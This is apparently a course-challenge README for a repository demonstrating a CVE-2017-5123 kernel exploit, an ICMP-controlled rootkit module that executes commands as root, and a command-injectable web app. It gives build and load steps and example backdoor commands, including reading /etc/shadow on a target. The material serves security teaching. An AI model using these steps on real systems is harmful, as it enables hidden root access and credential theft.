CVE-2017-5123

This repository contains a demonstration of CVE-2017-5123, an ICMP command-and-control backdoor, and a CWE-78 (OS Command Injection) vulnerable web app.

Part of CSC 4308 - Challenge 3.

Prerequisites

• Linux Kernel: 4.13 up to (but excluding) 4.13.7
• Node.js: 10.x
• npm: 6.x

Overview

This project demonstrates three distinct security research components:

1. CVE-2017-5123 Kernel Exploit (lkm/rootkit.c)

A proof-of-concept exploit for the waitid system call vulnerability introduced in Linux Kernel 4.13. This vulnerability allows privilege escalation and sandbox escape.

• CVE ID: CVE-2017-5123
• CWE ID: CWE-787 (Out-of-bounds Write)
• Impact: Local privilege escalation
• Exploit Author: Chris Salls (@chris_salls)

2. Kernel Rootkit LKM (lkm/lkm.c)

A malicious Linux Kernel Module (LKM) that implements a covert command-and-control channel via ICMP echo (ping) packets.

• CWE ID: CWE-912 (Hidden Functionality)
• Functionality:
  • Intercepts ICMP echo requests with sequence number 25678
  • Extracts shell commands from ICMP payload
  • Executes commands as root
  • Returns command output via ICMP echo reply packets

3. Vulnerable Web Application (vulnerable-app/)

A React + Node.js file-sharing application vulnerable to OS command injection.

• CWE ID: CWE-78 (OS Command Injection)
• Weakness: Shell metacharacter injection in file content field

4. ICMP Data Pinger (pinger/data-ping.c)

A utility to send crafted ICMP echo requests with custom payloads to communicate with the kernel rootkit backdoor.

Usage

Loading the LKM

Build the Kernel Module

cd lkm
make

Load the Kernel Module

sudo insmod lkm.ko

Build the Pinger Client

cd ../pinger
gcc -o data-ping data-ping.c

Send Commands via ICMP

# Must run as root to use raw sockets
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"

Unload the Module

sudo rmmod lkm

Quick Reload

make reload

Running the Vulnerable Web Application

# Build the frontend
cd vulnerable-app/frontend
npm run build

# Copy build to backend
cp -r build ../backend/

# Start the backend server (serves both API and frontend)
cd ../backend
npm start

The application will be available at http://localhost:3001

References

• CVE-2017-5123: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5123
• CWE-78: https://cwe.mitre.org/data/definitions/78.html
• CWE-787: https://cwe.mitre.org/data/definitions/787.html
• CWE-912: https://cwe.mitre.org/data/definitions/912.html
• Chris Salls' Original Exploit Code: https://github.com/salls/kernel-exploits